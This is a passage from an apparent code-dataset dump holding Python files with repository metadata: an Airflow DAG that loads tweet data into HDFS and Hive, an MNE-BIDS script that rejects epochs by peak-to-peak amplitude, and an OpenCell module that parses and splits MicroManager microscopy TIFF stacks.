from datetime import date, timedelta import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from airflow.operators.hive_operator import HiveOperator from airflow.operators.python_operator import PythonOperator def fetchtweets(): def cleantweets(): def analyzetweets(): def transfertodb(): default_args = { 'owner': 'Ekhtiar', 'depends_on_past': False, 'start_date': airflow.utils.dates.days_ago(5), 'email': ['airflow@example.com'], 'email_on_failure': False, 'email_on_retry': False, 'retries': 1, 'retry_delay': timedelta(minutes=5), } with DAG( dag_id='example_twitter_dag', default_args=default_args, schedule_interval="@daily" ) as dag: fetch_tweets = PythonOperator( task_id='fetch_tweets', python_callable=fetchtweets ) clean_tweets = PythonOperator( task_id='clean_tweets', python_callable=cleantweets ) clean_tweets << fetch_tweets analyze_tweets = PythonOperator( task_id='analyze_tweets', python_callable=analyzetweets ) analyze_tweets << clean_tweets hive_to_mysql = PythonOperator( task_id='hive_to_mysql', python_callable=transfertodb ) from_channels = ['fromTwitter_A', 'fromTwitter_B', 'fromTwitter_C', 'fromTwitter_D'] to_channels = ['toTwitter_A', 'toTwitter_B', 'toTwitter_C', 'toTwitter_D'] yesterday = date.today() - timedelta(days=1) dt = yesterday.strftime("%Y-%m-%d") local_dir = "/tmp/" hdfs_dir = " /tmp/" for channel in to_channels: file_name = "to_" + channel + "_" + yesterday.strftime("%Y-%m-%d") + ".csv" load_to_hdfs = BashOperator( task_id="put_" + channel + "_to_hdfs", bash_command="HADOOP_USER_NAME=hdfs hadoop fs -put -f " + local_dir + file_name + hdfs_dir + channel + "/" ) load_to_hdfs << analyze_tweets load_to_hive = HiveOperator( task_id="load_" + channel + "_to_hive", hql="LOAD DATA INPATH '" + hdfs_dir + channel + "/" + file_name + "' " "INTO TABLE " + channel + " " "PARTITION(dt='" + dt + "')" ) load_to_hive << load_to_hdfs load_to_hive >> hive_to_mysql for channel in from_channels: file_name = "from_" + channel + "_" + yesterday.strftime("%Y-%m-%d") + ".csv" load_to_hdfs = BashOperator( task_id="put_" + channel + "_to_hdfs", bash_command="HADOOP_USER_NAME=hdfs hadoop fs -put -f " + local_dir + file_name + hdfs_dir + channel + "/" ) load_to_hdfs << analyze_tweets load_to_hive = HiveOperator( task_id="load_" + channel + "_to_hive", hql="LOAD DATA INPATH '" + hdfs_dir + channel + "/" + file_name + "' " "INTO TABLE " + channel + " " "PARTITION(dt='" + dt + "')" ) load_to_hive << load_to_hdfs load_to_hive >> hive_to_mysql

true

f7050dd5698de7872ec97699e5e318cacda83a76

4,510

py

Python

scripts/preprocessing/06-ptp_reject.py

crsegerie/mne-bids-pipeline

897d36eb9e7f626215ad6ac4f645ac18f9477c80

[ "BSD-3-Clause" ]

31

2019-01-30T11:33:23.000Z

2021-02-19T19:30:50.000Z

scripts/preprocessing/06-ptp_reject.py

crsegerie/mne-bids-pipeline

897d36eb9e7f626215ad6ac4f645ac18f9477c80

[ "BSD-3-Clause" ]

207

2019-01-29T16:31:26.000Z

2021-03-26T13:28:26.000Z

scripts/preprocessing/06-ptp_reject.py

crsegerie/mne-bids-pipeline

897d36eb9e7f626215ad6ac4f645ac18f9477c80

[ "BSD-3-Clause" ]

26

2019-01-29T18:05:11.000Z

2021-03-17T08:46:52.000Z

""" ======================================================== 06. Remove epochs based on peak-to-peak (PTP) amplitudes ======================================================== Epochs containing peak-to-peak above the thresholds defined in the 'reject' parameter are removed from the data. This step will drop epochs containing non-biological artifacts but also epochs containing biological artifacts not sufficiently corrected by the ICA or the SSP processing. """ import itertools import logging from typing import Optional import mne from mne.utils import BunchConst from mne.parallel import parallel_func from mne_bids import BIDSPath import config from config import gen_log_kwargs, on_error, failsafe_run logger = logging.getLogger('mne-bids-pipeline') @failsafe_run(on_error=on_error, script_path=__file__) def drop_ptp(*, cfg, subject, session=None): bids_path = BIDSPath(subject=subject, session=session, task=cfg.task, acquisition=cfg.acq, run=None, recording=cfg.rec, space=cfg.space, suffix='epo', extension='.fif', datatype=cfg.datatype, root=cfg.deriv_root, check=False) infile_processing = cfg.spatial_filter fname_in = bids_path.copy().update(processing=infile_processing) fname_out = bids_path.copy().update(processing='clean') msg = f'Input: {fname_in}, Output: {fname_out}' logger.info(**gen_log_kwargs(message=msg, subject=subject, session=session)) # Get rejection parameters and drop bad epochs epochs = mne.read_epochs(fname_in, preload=True) reject = config.get_reject(epochs=epochs) if cfg.ica_reject is not None: for ch_type, threshold in cfg.ica_reject.items(): if (ch_type in reject and threshold < reject[ch_type]): # This can only ever happen in case of # reject = 'autoreject_global' msg = (f'Adjusting PTP rejection threshold proposed by ' f'autoreject, as it is greater than ica_reject: ' f'{ch_type}: {reject[ch_type]} -> {threshold}') logger.info(**gen_log_kwargs(message=msg, subject=subject, session=session)) reject[ch_type] = threshold msg = f'Using PTP rejection thresholds: {reject}' logger.info(**gen_log_kwargs(message=msg, subject=subject, session=session)) n_epochs_before_reject = len(epochs) epochs.reject_tmin = cfg.reject_tmin epochs.reject_tmax = cfg.reject_tmax epochs.drop_bad(reject=reject) n_epochs_after_reject = len(epochs) if 0 < n_epochs_after_reject < 0.5 * n_epochs_before_reject: msg = ('More than 50% of all epochs rejected. Please check the ' 'rejection thresholds.') logger.warning(**gen_log_kwargs(message=msg, subject=subject, session=session)) elif n_epochs_after_reject == 0: raise RuntimeError('No epochs remaining after peak-to-peak-based ' 'rejection. Cannot continue.') msg = 'Saving cleaned, baseline-corrected epochs …' epochs.apply_baseline(cfg.baseline) epochs.save(fname_out, overwrite=True) def get_config( subject: Optional[str] = None, session: Optional[str] = None ) -> BunchConst: cfg = BunchConst( task=config.get_task(), datatype=config.get_datatype(), acq=config.acq, rec=config.rec, space=config.space, baseline=config.baseline, reject_tmin=config.reject_tmin, reject_tmax=config.reject_tmax, spatial_filter=config.spatial_filter, ica_reject=config.get_ica_reject(), deriv_root=config.get_deriv_root(), decim=config.decim ) return cfg def main(): """Run epochs.""" parallel, run_func, _ = parallel_func(drop_ptp, n_jobs=config.get_n_jobs()) logs = parallel( run_func(cfg=get_config(), subject=subject, session=session) for subject, session in itertools.product(config.get_subjects(), config.get_sessions()) ) config.save_logs(logs) if __name__ == '__main__': main()

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79

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import itertools import logging from typing import Optional import mne from mne.utils import BunchConst from mne.parallel import parallel_func from mne_bids import BIDSPath import config from config import gen_log_kwargs, on_error, failsafe_run logger = logging.getLogger('mne-bids-pipeline') @failsafe_run(on_error=on_error, script_path=__file__) def drop_ptp(*, cfg, subject, session=None): bids_path = BIDSPath(subject=subject, session=session, task=cfg.task, acquisition=cfg.acq, run=None, recording=cfg.rec, space=cfg.space, suffix='epo', extension='.fif', datatype=cfg.datatype, root=cfg.deriv_root, check=False) infile_processing = cfg.spatial_filter fname_in = bids_path.copy().update(processing=infile_processing) fname_out = bids_path.copy().update(processing='clean') msg = f'Input: {fname_in}, Output: {fname_out}' logger.info(**gen_log_kwargs(message=msg, subject=subject, session=session)) epochs = mne.read_epochs(fname_in, preload=True) reject = config.get_reject(epochs=epochs) if cfg.ica_reject is not None: for ch_type, threshold in cfg.ica_reject.items(): if (ch_type in reject and threshold < reject[ch_type]): msg = (f'Adjusting PTP rejection threshold proposed by ' f'autoreject, as it is greater than ica_reject: ' f'{ch_type}: {reject[ch_type]} -> {threshold}') logger.info(**gen_log_kwargs(message=msg, subject=subject, session=session)) reject[ch_type] = threshold msg = f'Using PTP rejection thresholds: {reject}' logger.info(**gen_log_kwargs(message=msg, subject=subject, session=session)) n_epochs_before_reject = len(epochs) epochs.reject_tmin = cfg.reject_tmin epochs.reject_tmax = cfg.reject_tmax epochs.drop_bad(reject=reject) n_epochs_after_reject = len(epochs) if 0 < n_epochs_after_reject < 0.5 * n_epochs_before_reject: msg = ('More than 50% of all epochs rejected. Please check the ' 'rejection thresholds.') logger.warning(**gen_log_kwargs(message=msg, subject=subject, session=session)) elif n_epochs_after_reject == 0: raise RuntimeError('No epochs remaining after peak-to-peak-based ' 'rejection. Cannot continue.') msg = 'Saving cleaned, baseline-corrected epochs …' epochs.apply_baseline(cfg.baseline) epochs.save(fname_out, overwrite=True) def get_config( subject: Optional[str] = None, session: Optional[str] = None ) -> BunchConst: cfg = BunchConst( task=config.get_task(), datatype=config.get_datatype(), acq=config.acq, rec=config.rec, space=config.space, baseline=config.baseline, reject_tmin=config.reject_tmin, reject_tmax=config.reject_tmax, spatial_filter=config.spatial_filter, ica_reject=config.get_ica_reject(), deriv_root=config.get_deriv_root(), decim=config.decim ) return cfg def main(): parallel, run_func, _ = parallel_func(drop_ptp, n_jobs=config.get_n_jobs()) logs = parallel( run_func(cfg=get_config(), subject=subject, session=session) for subject, session in itertools.product(config.get_subjects(), config.get_sessions()) ) config.save_logs(logs) if __name__ == '__main__': main()

true

f7050e55af4a52ddeec20cfc5c797671967bb328

19,712

py

Python

opencell/imaging/images.py

czbiohub/opencell-portal-pub

2b056924e4f55490b16349ff0dcf3e719ab516c7

[ "Unlicense" ]

2

2022-02-17T16:24:49.000Z

2022-03-02T22:26:48.000Z

opencell/imaging/images.py

czbiohub/opencell-portal-pub

2b056924e4f55490b16349ff0dcf3e719ab516c7

[ "Unlicense" ]

null

opencell/imaging/images.py

czbiohub/opencell-portal-pub

2b056924e4f55490b16349ff0dcf3e719ab516c7

[ "Unlicense" ]

null

import datetime import hashlib import json import numpy as np import pandas as pd import tifffile def timestamp(): return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') class MicroManagerTIFF: def __init__(self, src_filepath, verbose=True): ''' ''' self.verbose = verbose self.src_filepath = src_filepath self.events = [] self.global_metadata = {'processing_timestamp': timestamp()} self.open_tiff() def event_logger(self, message): ''' ''' if self.verbose: print('EVENT: %s' % message) self.events.append({'message': message, 'timestamp': timestamp()}) def save_events(self, dst_filepath): if not self.events: return pd.DataFrame(data=self.events).to_csv(dst_filepath, index=False) def save_global_metadata(self, dst_filepath): with open(dst_filepath, 'w') as file: json.dump(self.global_metadata, file) def save_mm_metadata(self, dst_filepath): self.mm_metadata.to_csv(dst_filepath, index=False) def calc_hash(self): ''' Calculate the sha1 hash from the file contents ''' sha1 = hashlib.sha1() with open(self.src_filepath, 'rb') as file: sha1.update(file.read()) hash_value = sha1.hexdigest() self.global_metadata['sha1_hash'] = hash_value return hash_value def open_tiff(self): ''' Open the stack using tifffile.TiffFile ''' self.tiff = tifffile.TiffFile(self.src_filepath) @staticmethod def _parse_mm_tag_schema_v1(mm_tag): ''' Parse a MicroManagerMetadata tag in the 'old' schema (KC: I believe this schema corresponds to MicroManager 1.x) ''' metadata = { 'slice_ind': mm_tag['SliceIndex'], 'frame_ind': mm_tag['FrameIndex'], 'channel_ind': mm_tag['ChannelIndex'], 'position_ind': mm_tag['PositionIndex'], 'exposure_time': mm_tag['AndorEMCCD-Exposure'], 'laser_status_405': mm_tag['AndorILE-A-Laser 405-Power Enable'], 'laser_power_405': mm_tag['AndorILE-A-Laser 405-Power Setpoint'], 'laser_status_488': mm_tag['AndorILE-A-Laser 488-Power Enable'], 'laser_power_488': mm_tag['AndorILE-A-Laser 488-Power Setpoint'], } return metadata @staticmethod def _parse_mm_tag_schema_v2(mm_tag): ''' Parse a MicroManagerMetadata tag in the 'new' schema (KC: I believe this schema corresponds to MicroManager 2.x) ''' metadata = { 'slice_ind': mm_tag['SliceIndex'], 'frame_ind': mm_tag['FrameIndex'], 'channel_ind': mm_tag['ChannelIndex'], 'position_ind': mm_tag['PositionIndex'], 'exposure_time': mm_tag.get('Andor EMCCD-Exposure')['PropVal'], 'laser_status_405': mm_tag.get('Andor ILE-A-Laser 405-Power Enable')['PropVal'], 'laser_power_405': mm_tag.get('Andor ILE-A-Laser 405-Power Setpoint')['PropVal'], 'laser_status_488': mm_tag.get('Andor ILE-A-Laser 488-Power Enable')['PropVal'], 'laser_power_488': mm_tag.get('Andor ILE-A-Laser 488-Power Setpoint')['PropVal'], } return metadata def parse_micromanager_metadata(self): ''' Parse the MicroManager metadata for each page in the TIFF file ''' # the IJMetadata appears only in the first page ij_metadata = None try: ij_metadata = self.tiff.pages[0].tags['IJMetadata'].value['Info'] except Exception: self.event_logger('There was no IJMetadata tag found on the first page') if ij_metadata is not None: try: ij_metadata = json.loads(ij_metadata) except Exception: self.event_logger('IJMetadata could not be parsed by json.loads') mm_metadata_rows = [] for ind, page in enumerate(self.tiff.pages): mm_metadata_row = { 'page_ind': ind, 'error': False } mm_tag = page.tags.get('MicroManagerMetadata') if not isinstance(mm_tag, tifffile.tifffile.TiffTag): self.event_logger('There was no MicroManagerMetadata tag found on page %s' % ind) mm_metadata_row['error'] = True mm_metadata_rows.append(mm_metadata_row) continue try: page_metadata_v1 = self._parse_mm_tag_schema_v1(mm_tag.value) except Exception: page_metadata_v1 = None try: page_metadata_v2 = self._parse_mm_tag_schema_v2(mm_tag.value) except Exception: page_metadata_v2 = None page_metadata = {} mm_metadata_version = None if page_metadata_v1 is not None: mm_metadata_version = 'v1' page_metadata = page_metadata_v1 elif page_metadata_v2 is not None: mm_metadata_version = 'v2' page_metadata = page_metadata_v2 else: mm_metadata_row['error'] = True self.event_logger('Unable to parse MicroManagerMetadata tag from page %s' % ind) mm_metadata_rows.append({**mm_metadata_row, **page_metadata}) self.mm_metadata = pd.DataFrame(data=mm_metadata_rows) self.global_metadata['mm_metadata_version'] = mm_metadata_version class RawPipelineTIFF(MicroManagerTIFF): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # the channels we expect to find in a Pipeline-like TIFF self.laser_405 = '405' self.laser_488 = '488' def validate_micromanager_metadata(self): ''' Validate the parsed MicroManager metadata tags for a raw Pipeline-like TIFF file (these are TIFFs found in the 'PlateMicroscopy' directory) Generates validated_mm_metadata and sets various flags that determine whether and how to split the pages into the 405 and 488 channels Steps ------ - drop rows with any NAs - check that the dropped rows had a parsing error - check for two channel_inds and an equal number of pages from each - if there are no channel_inds, check for an even number of pages - if there are two channel_inds, check that slice_inds and exposure settings are consistent within each channel ''' # whether the MM metadata has two channel inds with an equal number of slices self.has_valid_channel_inds = False # whether the MM metadata for each channel has slice_inds that increment by one self.has_valid_slice_inds = False # whether it is safe to split the TIFF stack into channels by splitting the pages in half, # when there are not valid channel inds self.safe_to_split_in_half = False md = self.mm_metadata.copy() # remove the error flag column errors = md['error'] md = md.drop(labels='error', axis=1) # drop rows with NAs in any of the columns parsed from the MicroManagerMetadata tag parsed_columns = set(md.columns).difference(['page_ind']) md = md.dropna(how='any', subset=parsed_columns, axis=0) # check that the dropped rows had an error # (note that 'error' means either there was no MM tag or it could not be parsed) num_error_rows = errors.sum() num_dropped_rows = self.mm_metadata.shape[0] - md.shape[0] if num_dropped_rows != num_error_rows: self.event_logger( '%s rows with NAs were dropped but %s rows had errors' % (num_dropped_rows, num_error_rows) ) # check that we can coerce the parsed columns as expected int_columns = ['slice_ind', 'channel_ind'] for column in int_columns: md[column] = md[column].apply(int) float_columns = ['laser_power_405', 'laser_power_488', 'exposure_time'] for column in float_columns: md[column] = md[column].apply(float) # if there are two distinct channels, we assign the first to 405 and the second to 488 self.channel_inds = None unique_channel_inds = sorted(md.channel_ind.unique()) if len(unique_channel_inds) == 2: self.channel_inds = { self.laser_405: min(unique_channel_inds), self.laser_488: max(unique_channel_inds), } # if there are three channel_inds, we assume the third channel is brightfield elif set(unique_channel_inds) == set([0, 1, 2]): self.event_logger('There were three channel inds') self.channel_inds = { self.laser_405: 0, self.laser_488: 1, } # if there's one channel index, check for an even number of pages elif len(unique_channel_inds) == 1: if np.mod(md.shape[0], 2) == 0: self.safe_to_split_in_half = True else: self.event_logger('There is one channel_ind and an odd number of pages') else: self.event_logger('Unexpected number of channel_inds (%s)' % unique_channel_inds) # if there were valid channel_inds, check for an equal number of pages from each channel if self.channel_inds is not None: num_405 = (md.channel_ind == self.channel_inds[self.laser_405]).sum() num_488 = (md.channel_ind == self.channel_inds[self.laser_488]).sum() if num_405 == num_488: self.has_valid_channel_inds = True else: self.event_logger( 'Channels have unequal number of slices: %s and %s' % (num_405, num_488) ) # in each channel, check that slice_ind increments by 1.0 # and that exposure time and laser power are consistent for channel_ind in unique_channel_inds: md_channel = md.loc[md.channel_ind == channel_ind] steps = np.unique(np.diff(md_channel.slice_ind)) # check that slice inds are contiguous if len(steps) == 1 and steps[0] == 1: self.has_valid_slice_inds = True elif len(steps) == 1: self.event_logger( 'Unexpected slice_ind increment %s for channel_ind %s' % (steps[0], channel_ind) ) elif len(steps) > 1: self.event_logger( 'The slice_inds are not contiguous for channel_ind %s' % channel_ind ) for column in float_columns: steps = np.unique(np.diff(md_channel[column])) if len(steps) > 1 or steps[0] != 0: self.event_logger( 'Inconsistent values found in column %s for channel_ind %s' % (column, channel_ind) ) self.validated_mm_metadata = md @staticmethod def tag_and_coerce_metadata(row, tag): ''' Transform `row` to a dict, prepend the keys with `tag`, and do some hackish type coercion ''' d = {} for key, val in dict(row).items(): key = '%s_%s' % (key, tag) try: val = float(val) except Exception: pass d[key] = val return d def split_channels(self): ''' Split the pages of the pipeline-like TIFF into 405 and 488 channels to construct the z-stack for each channel and, if possible, extract the channel-specific MM metadata (i.e., exposure time and laser power) Overview -------- In a perfect world, this would be easy: we would simple use the two unique channel_inds to split the pages by channel (and verify the page order using the slice_inds). Unfortunately, due to a bug, the MM metadata tag in some TIFFs is the same on every page (this is notably true for 'disentangled' TIFFs from Plates 16,17,18). In these cases, we split the tiff into channels simply by splitting the pages in half. Note that we use the flags set in self.validate_mm_metadata to determine which of these methods to use. Assignment of channels ---------------------- When there are two valid channel_inds, the 405 laser is assigned to the lower channel_ind (which is either 0 or -1). When there are no channel_inds, the 405 laser is assigned to the first half of the pages. ''' self.did_split_channels = True self.stacks = {} md = self.validated_mm_metadata.copy() if self.has_valid_channel_inds: for channel_name in (self.laser_405, self.laser_488): channel_md = md.loc[md.channel_ind == self.channel_inds[channel_name]] self.global_metadata.update( self.tag_and_coerce_metadata(channel_md.iloc[0], tag=channel_name) ) self.stacks[channel_name] = self.concat_pages(channel_md.page_ind.values) elif self.safe_to_split_in_half: n = int(md.shape[0]/2) self.stacks[self.laser_405] = self.concat_pages(md.iloc[:n].page_ind.values) self.stacks[self.laser_488] = self.concat_pages(md.iloc[n:].page_ind.values) else: self.event_logger('Unable to safely split pages by channel') self.did_split_channels = False def concat_pages(self, page_inds): ''' ''' stack = np.array([self.tiff.pages[ind].asarray() for ind in page_inds]) return stack def project_stack(self, channel_name, axis, dst_filepath=None): ''' Generate x-, y-, or z-projections and log the max and min intensities ''' axis_inds = {'x': 1, 'y': 2, 'z': 0} if axis not in axis_inds.keys(): raise ValueError("Axis must be one of 'x', 'y', or 'z'") axis_ind = axis_inds[axis] try: proj = self.stacks[channel_name].max(axis=axis_ind) minmax = { 'min_intensity': int(proj.min()), 'max_intensity': int(proj.max()), } self.global_metadata.update(self.tag_and_coerce_metadata(minmax, tag=channel_name)) if dst_filepath is not None: tifffile.imsave(dst_filepath, proj) except Exception: self.event_logger( 'An error occured while %s-projecting the %s channel' % (axis, channel_name) ) def calculate_z_profiles(self, channel): ''' Calculate various statistics of the intensities for each z-slice ''' stack = self.stacks[channel] return { 'min': np.array([zslice.min() for zslice in stack]).astype(int), 'max': np.array([zslice.max() for zslice in stack]).astype(int), 'mean': np.array([zslice.mean() for zslice in stack]).astype(int), 'p9999': np.array([np.percentile(zslice, 99.99) for zslice in stack]).astype(int), } @staticmethod def find_cell_layer(stack): ''' Estimate the center of the cell layer using the center of mass of the z-profile of the mean intensity of the Hoechst staining ''' # z-profile of the mean intensity in the Hoechst channel raw_profile = np.array([zslice.mean() for zslice in stack]).astype(float) profile = raw_profile - raw_profile.mean() profile[profile < 0] = 0 x = np.arange(len(profile)) center_of_mass = (profile * x).sum()/profile.sum() return center_of_mass, raw_profile def align_cell_layer( self, cell_layer_bottom, cell_layer_top, step_size, bottom_wiggle_room=0 ): ''' Approximately align the 405 and 488 stacks to correct for chromatic aberration, and crop around the cell layer so that it is in the center of the stack cell_layer_bottom : the position of the bottom of the cell layer, in microns, relative to the center of the cell layer (should be negative) cell_layer_top : the position of the top of cell layer, in microns, relative to the center (should be positive) step_size : the z-step size of the stack (in microns) (note that the step size is not included in the MicroManager metadata, so it must be provided by the user) bottom_wiggle_room : optional 'wiggle room', in microns, for the cell_layer_bottom; if the actual bottom of the stack is within this distance of cell_layer_bottom, the stack is still cropped, and the bottom of the cropped stack padded with zeros. For example, if cell_layer_bottom is -5um but the actual bottom is at -4.5um, setting bottom_wiggle_room to 1um would allow the stack to be cropped (because -4.5 + 5 < 1) ''' stacks = {} result = {} stack_405 = self.stacks[self.laser_405].copy() stack_488 = self.stacks[self.laser_488].copy() # hard-coded chromatic aberration offset in microns # this is an empirically estimated median offset, # obtained by inspecting z-stacks from nucleus-localized targets chromatic_aberration_offset = 1.0 offset_ind = int(chromatic_aberration_offset/step_size) stack_405 = stack_405[:-offset_ind, :, :] stack_488 = stack_488[offset_ind:, :, :] # estimate the cell layer center and round it the nearest z-slice cell_layer_center, _ = self.find_cell_layer(stack_405) cell_layer_center = np.round(cell_layer_center) # absolute position, in number of z-slices, of the top and bottom of the cell layer bottom_ind = int(np.floor(cell_layer_center + cell_layer_bottom/step_size)) top_ind = int(np.ceil(cell_layer_center + cell_layer_top/step_size)) # log some parameters (for debugging, mostly) result['padded'] = False result['stack_shape'] = stack_405.shape result['crop_window'] = [bottom_ind, top_ind] result['cell_layer_center'] = cell_layer_center result['chromatic_aberration_offset'] = offset_ind pad_depth = None if bottom_ind < 0: if abs(bottom_ind) <= np.round(bottom_wiggle_room/step_size): pad_depth = abs(bottom_ind) bottom_ind = 0 else: result['error'] = 'The cell layer center was too close to the bottom of the stack' return stacks, result if top_ind >= stack_405.shape[0]: result['error'] = 'The cell layer center was too close to the top of the stack' return stacks, result stack_405 = stack_405[bottom_ind:top_ind, :, :] stack_488 = stack_488[bottom_ind:top_ind, :, :] # pad the bottom of the stack if necessary if pad_depth: result['padded'] = True result['pad_depth'] = pad_depth padding = np.zeros((pad_depth, *stack_405.shape[1:]), dtype=stack_405.dtype) stack_405 = np.concatenate((padding, stack_405), axis=0) stack_488 = np.concatenate((padding, stack_488), axis=0) stacks = {'405': stack_405, '488': stack_488} return stacks, result

38.20155

98

0.605976

import datetime import hashlib import json import numpy as np import pandas as pd import tifffile def timestamp(): return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') class MicroManagerTIFF: def __init__(self, src_filepath, verbose=True): self.verbose = verbose self.src_filepath = src_filepath self.events = [] self.global_metadata = {'processing_timestamp': timestamp()} self.open_tiff() def event_logger(self, message): if self.verbose: print('EVENT: %s' % message) self.events.append({'message': message, 'timestamp': timestamp()}) def save_events(self, dst_filepath): if not self.events: return pd.DataFrame(data=self.events).to_csv(dst_filepath, index=False) def save_global_metadata(self, dst_filepath): with open(dst_filepath, 'w') as file: json.dump(self.global_metadata, file) def save_mm_metadata(self, dst_filepath): self.mm_metadata.to_csv(dst_filepath, index=False) def calc_hash(self): sha1 = hashlib.sha1() with open(self.src_filepath, 'rb') as file: sha1.update(file.read()) hash_value = sha1.hexdigest() self.global_metadata['sha1_hash'] = hash_value return hash_value def open_tiff(self): self.tiff = tifffile.TiffFile(self.src_filepath) @staticmethod def _parse_mm_tag_schema_v1(mm_tag): metadata = { 'slice_ind': mm_tag['SliceIndex'], 'frame_ind': mm_tag['FrameIndex'], 'channel_ind': mm_tag['ChannelIndex'], 'position_ind': mm_tag['PositionIndex'], 'exposure_time': mm_tag['AndorEMCCD-Exposure'], 'laser_status_405': mm_tag['AndorILE-A-Laser 405-Power Enable'], 'laser_power_405': mm_tag['AndorILE-A-Laser 405-Power Setpoint'], 'laser_status_488': mm_tag['AndorILE-A-Laser 488-Power Enable'], 'laser_power_488': mm_tag['AndorILE-A-Laser 488-Power Setpoint'], } return metadata @staticmethod def _parse_mm_tag_schema_v2(mm_tag): metadata = { 'slice_ind': mm_tag['SliceIndex'], 'frame_ind': mm_tag['FrameIndex'], 'channel_ind': mm_tag['ChannelIndex'], 'position_ind': mm_tag['PositionIndex'], 'exposure_time': mm_tag.get('Andor EMCCD-Exposure')['PropVal'], 'laser_status_405': mm_tag.get('Andor ILE-A-Laser 405-Power Enable')['PropVal'], 'laser_power_405': mm_tag.get('Andor ILE-A-Laser 405-Power Setpoint')['PropVal'], 'laser_status_488': mm_tag.get('Andor ILE-A-Laser 488-Power Enable')['PropVal'], 'laser_power_488': mm_tag.get('Andor ILE-A-Laser 488-Power Setpoint')['PropVal'], } return metadata def parse_micromanager_metadata(self): ij_metadata = None try: ij_metadata = self.tiff.pages[0].tags['IJMetadata'].value['Info'] except Exception: self.event_logger('There was no IJMetadata tag found on the first page') if ij_metadata is not None: try: ij_metadata = json.loads(ij_metadata) except Exception: self.event_logger('IJMetadata could not be parsed by json.loads') mm_metadata_rows = [] for ind, page in enumerate(self.tiff.pages): mm_metadata_row = { 'page_ind': ind, 'error': False } mm_tag = page.tags.get('MicroManagerMetadata') if not isinstance(mm_tag, tifffile.tifffile.TiffTag): self.event_logger('There was no MicroManagerMetadata tag found on page %s' % ind) mm_metadata_row['error'] = True mm_metadata_rows.append(mm_metadata_row) continue try: page_metadata_v1 = self._parse_mm_tag_schema_v1(mm_tag.value) except Exception: page_metadata_v1 = None try: page_metadata_v2 = self._parse_mm_tag_schema_v2(mm_tag.value) except Exception: page_metadata_v2 = None page_metadata = {} mm_metadata_version = None if page_metadata_v1 is not None: mm_metadata_version = 'v1' page_metadata = page_metadata_v1 elif page_metadata_v2 is not None: mm_metadata_version = 'v2' page_metadata = page_metadata_v2 else: mm_metadata_row['error'] = True self.event_logger('Unable to parse MicroManagerMetadata tag from page %s' % ind) mm_metadata_rows.append({**mm_metadata_row, **page_metadata}) self.mm_metadata = pd.DataFrame(data=mm_metadata_rows) self.global_metadata['mm_metadata_version'] = mm_metadata_version class RawPipelineTIFF(MicroManagerTIFF): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.laser_405 = '405' self.laser_488 = '488' def validate_micromanager_metadata(self): self.has_valid_channel_inds = False self.has_valid_slice_inds = False self.safe_to_split_in_half = False md = self.mm_metadata.copy() errors = md['error'] md = md.drop(labels='error', axis=1) parsed_columns = set(md.columns).difference(['page_ind']) md = md.dropna(how='any', subset=parsed_columns, axis=0) num_error_rows = errors.sum() num_dropped_rows = self.mm_metadata.shape[0] - md.shape[0] if num_dropped_rows != num_error_rows: self.event_logger( '%s rows with NAs were dropped but %s rows had errors' % (num_dropped_rows, num_error_rows) ) int_columns = ['slice_ind', 'channel_ind'] for column in int_columns: md[column] = md[column].apply(int) float_columns = ['laser_power_405', 'laser_power_488', 'exposure_time'] for column in float_columns: md[column] = md[column].apply(float) self.channel_inds = None unique_channel_inds = sorted(md.channel_ind.unique()) if len(unique_channel_inds) == 2: self.channel_inds = { self.laser_405: min(unique_channel_inds), self.laser_488: max(unique_channel_inds), } elif set(unique_channel_inds) == set([0, 1, 2]): self.event_logger('There were three channel inds') self.channel_inds = { self.laser_405: 0, self.laser_488: 1, } elif len(unique_channel_inds) == 1: if np.mod(md.shape[0], 2) == 0: self.safe_to_split_in_half = True else: self.event_logger('There is one channel_ind and an odd number of pages') else: self.event_logger('Unexpected number of channel_inds (%s)' % unique_channel_inds) # if there were valid channel_inds, check for an equal number of pages from each channel if self.channel_inds is not None: num_405 = (md.channel_ind == self.channel_inds[self.laser_405]).sum() num_488 = (md.channel_ind == self.channel_inds[self.laser_488]).sum() if num_405 == num_488: self.has_valid_channel_inds = True else: self.event_logger( 'Channels have unequal number of slices: %s and %s' % (num_405, num_488) ) # in each channel, check that slice_ind increments by 1.0 # and that exposure time and laser power are consistent for channel_ind in unique_channel_inds: md_channel = md.loc[md.channel_ind == channel_ind] steps = np.unique(np.diff(md_channel.slice_ind)) # check that slice inds are contiguous if len(steps) == 1 and steps[0] == 1: self.has_valid_slice_inds = True elif len(steps) == 1: self.event_logger( 'Unexpected slice_ind increment %s for channel_ind %s' % (steps[0], channel_ind) ) elif len(steps) > 1: self.event_logger( 'The slice_inds are not contiguous for channel_ind %s' % channel_ind ) for column in float_columns: steps = np.unique(np.diff(md_channel[column])) if len(steps) > 1 or steps[0] != 0: self.event_logger( 'Inconsistent values found in column %s for channel_ind %s' % (column, channel_ind) ) self.validated_mm_metadata = md @staticmethod def tag_and_coerce_metadata(row, tag): d = {} for key, val in dict(row).items(): key = '%s_%s' % (key, tag) try: val = float(val) except Exception: pass d[key] = val return d def split_channels(self): self.did_split_channels = True self.stacks = {} md = self.validated_mm_metadata.copy() if self.has_valid_channel_inds: for channel_name in (self.laser_405, self.laser_488): channel_md = md.loc[md.channel_ind == self.channel_inds[channel_name]] self.global_metadata.update( self.tag_and_coerce_metadata(channel_md.iloc[0], tag=channel_name) ) self.stacks[channel_name] = self.concat_pages(channel_md.page_ind.values) elif self.safe_to_split_in_half: n = int(md.shape[0]/2) self.stacks[self.laser_405] = self.concat_pages(md.iloc[:n].page_ind.values) self.stacks[self.laser_488] = self.concat_pages(md.iloc[n:].page_ind.values) else: self.event_logger('Unable to safely split pages by channel') self.did_split_channels = False def concat_pages(self, page_inds): stack = np.array([self.tiff.pages[ind].asarray() for ind in page_inds]) return stack def project_stack(self, channel_name, axis, dst_filepath=None): axis_inds = {'x': 1, 'y': 2, 'z': 0} if axis not in axis_inds.keys(): raise ValueError("Axis must be one of 'x', 'y', or 'z'") axis_ind = axis_inds[axis] try: proj = self.stacks[channel_name].max(axis=axis_ind) minmax = { 'min_intensity': int(proj.min()), 'max_intensity': int(proj.max()), } self.global_metadata.update(self.tag_and_coerce_metadata(minmax, tag=channel_name)) if dst_filepath is not None: tifffile.imsave(dst_filepath, proj) except Exception: self.event_logger( 'An error occured while %s-projecting the %s channel' % (axis, channel_name) ) def calculate_z_profiles(self, channel): stack = 